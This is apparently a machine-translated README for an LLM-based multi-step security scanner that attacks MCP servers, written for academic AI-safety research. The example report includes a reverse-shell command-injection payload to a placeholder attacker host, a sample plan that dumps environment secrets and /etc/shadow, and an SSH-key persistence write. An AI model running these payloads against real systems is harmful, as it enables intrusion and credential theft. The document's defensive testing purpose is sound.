使用说明
🛡️ PlannerHacker-MCP安全扫描器
____ _ _ _ _
| _ \| | __ _ _ __ _ __ ___ _ _| | | | __ _ ___| | _____ _ __
| |_) | |/ _` | '_ \| '_ \ / _ \ '__| |_| |/ _` |/ __| |/ / _ \ '__|
| __/| | (_| | | | | | | | __/ | | _ | (_| | (__| < __/ |
|_| |_|\__,_|_| |_|_| |_|\___|_| |_| |_|\__,_|\___|_|\_\___|_|
模型上下文协议(MCP)服务器的高级安全扫描程序
🎯 概述
策划黑客 是一款增强型安全扫描仪 模型上下文协议(MCP) 使用的服务器 思维链推理 发现复杂的、多步骤的漏洞。基于开源构建 mcpSafetyScanner,它引入了一种创新 高级对抗代理 能够创建和执行复杂的攻击计划。
为什么选择PlannerHacker?
传统的安全扫描程序使用单次漏洞检测,缺少需要多个连续步骤的复杂攻击向量。PlannerHacker使用LLM驱动的思维链推理来:
- 🎯 计划多步攻击 -生成协同攻击序列
- 🔗 链接依赖关系 -参考前面步骤的输出
- 🧠 像黑客一样思考 -模拟真实世界的攻击方法
- 📊 生成详细报告 -包含补救步骤的全面降价报告
✨ 特性
🤖 高级代理系统
- 策划黑客代理 -多步思维链漏洞发现
- 黑客代理 -传统单次扫描
- 审计代理人 -以合规为重点的安全审计
- 主管 -协调和管理代理执行
🔍 漏洞检测
✓ Command Injection ✓ Arbitrary File Read/Write
✓ Path Traversal ✓ Privilege Escalation
✓ Environment Variable Leak ✓ SSH Key Injection
✓ Backdoor Installation ✓ Credential Dumping
🎨 丰富的终端界面
美丽的ASCII艺术横幅、彩色输出和实时进度更新由 rich 和 pyfiglet.
📋 详细的安全报告
自动生成的报告包括:
- 漏洞分类 具有严重性级别
- 具体开发实例 通过命令行演示
- 补救步骤 使用特定命令
- 来源引用 来自安全研究
🚀 安装
先决条件
- python 3.11+
npx(用于MCP服务器执行)- OpenAI API密钥或Azure OpenAI凭据
快速开始
# Clone the repository
git clone https://github.com/yourusername/plannerHacker.git
cd plannerHacker
# Create virtual environment
python -m venv .venv
# Activate virtual environment
# Windows:
.venv\Scripts\activate
# Linux/Mac:
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
# Or install in development mode
pip install -e .
# Set your API key
export OPENAI_API_KEY="sk-your-key-here"
环境配置
创建 .env 文件:
# Required: Choose one LLM provider
OPENAI_API_KEY=sk-your-key-here
# Or use Azure OpenAI
AZURE_OPENAI_API_KEY=your-azure-key
AZURE_OPENAI_ENDPOINT=https://your-endpoint.openai.azure.com/
# Optional: Database for knowledge base
POSTGRES_DB=ai
POSTGRES_USER=ai
POSTGRES_PASSWORD=ai
💻 用法
基本扫描(单步黑客)
python mcpsafety/scanner/scan.py --config examples/example_config.json
高级扫描(多步PlannerHacker)
python mcpsafety/scanner/scan.py --config examples/example_config.json --planner
网络MCP服务器扫描
# Terminal 1: Start MCP server
npx -y @modelcontextprotocol/server-everything streamableHttp --port 3001
# Terminal 2: Run scanner
python mcpsafety/scanner/scan.py --port 3001
正在扫描易受攻击的测试服务器
# Scan the intentionally vulnerable server
python mcpsafety/scanner/scan.py --config VulnerableMCP/vulnerable_config.json --planner
命令行选项
python mcpsafety/scanner/scan.py --help
| 选项 | 描述 | 默认值 |
|---|---|---|
--config |
MCP服务器配置JSON路径 | config.json |
--port |
基于网络的MCP服务器端口 | 3001 |
--planner |
使用PlannerHacker代理(多步骤) | False |
--hops |
最大思维链步骤 | 5 |
--output |
输出报告文件路径 | stdout |
🏗️ 建筑
graph TB
A[scan.py Entry Point] --> B[Configuration Loader]
B --> C[LLM Selector]
C --> D{Select Agent}
D -->|Basic| E[Hacker Agent]
D -->|Advanced| F[PlannerHacker Agent]
D -->|Audit| G[Auditor Agent]
E --> H[Supervisor]
F --> H
G --> H
H --> I[MCP Server Interface]
I --> J[Tool Discovery]
J --> K[Attack Execution]
K --> L[Multi-Agent Team<br/>Collaboration]
L --> M[Report Generation]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style L fill:#4ecdc4,stroke:#16a085,color:#fff
style M fill:#95e1d3,stroke:#38ada9,color:#000
组件概述
| 组件 | 文件 | 目的 |
|---|---|---|
| 主扫描仪 | mcpsafety/scanner/scan.py |
入口点、CLI、服务器管理 |
| 代理系统 | mcpsafety/scanner/agents.py |
黑客、策划人、审计员、主管 |
| 易受攻击的服务器 | VulnerableMCP/vulnerable_mcp_server.py |
测试存在故意漏洞的服务器 |
| 配置示例 | examples/ |
MCP服务器配置示例 |
🧠 PlannerHacker在行动
思维链攻击计划
PlannerHacker代理生成结构化的JSON攻击计划:
{
"plan": [
{
"id": 1,
"description": "Enumerate MCP server tools and capabilities",
"command": "List available MCP server tools",
"expected_output": "Tool manifest with permissions",
"depends_on": []
},
{
"id": 2,
"description": "Read environment variables for credentials",
"command": "get_environment_variables",
"expected_output": "Environment dump including API keys",
"depends_on": [1]
},
{
"id": 3,
"description": "Use file_manager to read /etc/shadow",
"command": "read_file /etc/shadow",
"expected_output": "Hashed password data",
"depends_on": [1, 2]
}
]
}
多Agent协作
扫描仪使用 基于团队的方法 与专业代理商合作:
- 侦察特工 -发现工具和资源
- 研究代理 -查询安全数据库(DuckDuckGo、arXiv、黑客新闻)
- 开采代理 -生成具体的攻击示例
- 主管代理 -协调团队并综合调查结果
📊 示例输出
弱点报告
扫描仪识别 5个关键漏洞类别:
🔴 关键:命令注入
# Exploitation Example
list files; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Remediation
import shlex
safe_arg = shlex.quote(user_input)
subprocess.run(["ls", "-l", safe_arg], shell=False)
🔴 严重:任意文件操作
# Exploitation: SSH Key Persistence
write to file /home/user/.ssh/authorized_keys with content 'ssh-rsa AAAAB3...'
# Remediation
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown user:user /home/user/.ssh/authorized_keys
看 output3.txt 和 output3.md 查看完整的样本报告。
🔧 配置
MCP服务器配置
示例 config.json:
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/home/user"],
"timeout": 300000
},
"everything": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-everything"],
"env": {
"AWS_ACCESS_KEY_ID": "test-key",
"OPENAI_API_KEY": "sk-test"
}
}
}
}
支持的MCP服务器
- ✅ 基于stdio:通过
npx或直接执行Python - ✅ HTTP/SSE:自定义端口上的基于网络的服务器
- ✅ 自定义服务器:用户定义的易受攻击服务器
看 examples/ 目录以获取更多配置。
🧪 测试
易受攻击的测试服务器
该项目包括 故意易受攻击的MCP服务器 安全测试:
# VulnerableMCP/vulnerable_mcp_server.py
DANGEROUS_TOOLS = {
"read_file": "Unrestricted file reading",
"write_file": "Arbitrary file writes",
"execute_shell_command": "Direct shell command execution",
"get_environment_variables": "Exposes all env vars"
}
⚠️ 警告:仅在隔离环境中使用易受攻击的服务器!
📚 文档
| 文档 | 描述 |
|---|---|
SRS.md |
软件需求规范 |
WorkFlow.md |
五阶段开发工作流程 |
Final paper.pdf |
学术研究论文 |
开发阶段
- 基础 -代码库分析和设置
- 创新 -PlannerHacker系统设计
- 实施 -对多步骤代理进行编码
- 评估 -实验验证
- 出版物 -学术论文写作
🔬 研究背景
该项目旨在 学术出版物 在人工智能安全方面:
- 假设:多步骤思维链规划比单次扫描发现更多漏洞
- 方法论:比较评估(Hacker与PlannerHacker)
- 验证:使用易受攻击的测试服务器进行对照实验
- 目标受众:安全研究人员、渗透测试人员、DevSecOps团队
关键创新
传统的安全扫描程序会错过需要多个协调步骤的复杂漏洞。PlannerHacker使用LLM驱动的思维链推理来计划和执行复杂的多跳攻击,显著提高了漏洞发现率。
🛠️ 技术栈
核心依赖关系
agno(1.7.7)-AI代理框架mcp(1.12.3)-模型上下文协议客户端openai(1.98.0)-OpenAI API集成rich(14.1.0)-终端格式化pyfiglet(1.0.3)-ASCII艺术横幅
安全工具
sqlmap-SQL注入检测beautifulsoup4-HTML/XML解析validators-输入验证
数据与分析
pandas-数据分析scikit-learn-ML实用程序pgvector-矢量数据库支持
看 requirements.txt 获取完整的依赖关系列表。
🤝 贡献
我们欢迎捐款!需要改进的领域:
- 🎯 新的攻击策略 -扩展PlannerHacker功能
- 🧪 测试用例 -添加更多易受攻击的场景
- 📊 报表格式 -HTML、PDF、CSV输出
- 🌐 协议支持 -其他MCP协议变体
- 🔍 漏洞类型 -新的检测模式
📖 参考文献
⚖️ 许可证
该项目根据 Mozilla公共许可证2.0 (MPL-2.0)。
看 LICENSE 了解详情。
⚠️ 免责声明
此工具仅用于授权的安全测试。
- ✅ 在您拥有或拥有明确测试权限的系统上使用
- ✅ 教育和研究目的
- ❌ 未经授权访问系统是非法的
- ❌ 作者对误用不承担任何责任
包含的易受攻击的服务器用于 仅限受控测试环境.
🙏 致谢
- 基于开源构建 mcpSafetyScanner 框架
- 由...驱动 Anthropic的模型上下文协议
- 通过OpenAI和Google Gemini实现LLM功能
- 受MITRE ATT&CK和OWASP启发的安全研究
由...制作❤️ PlannerHacker团队
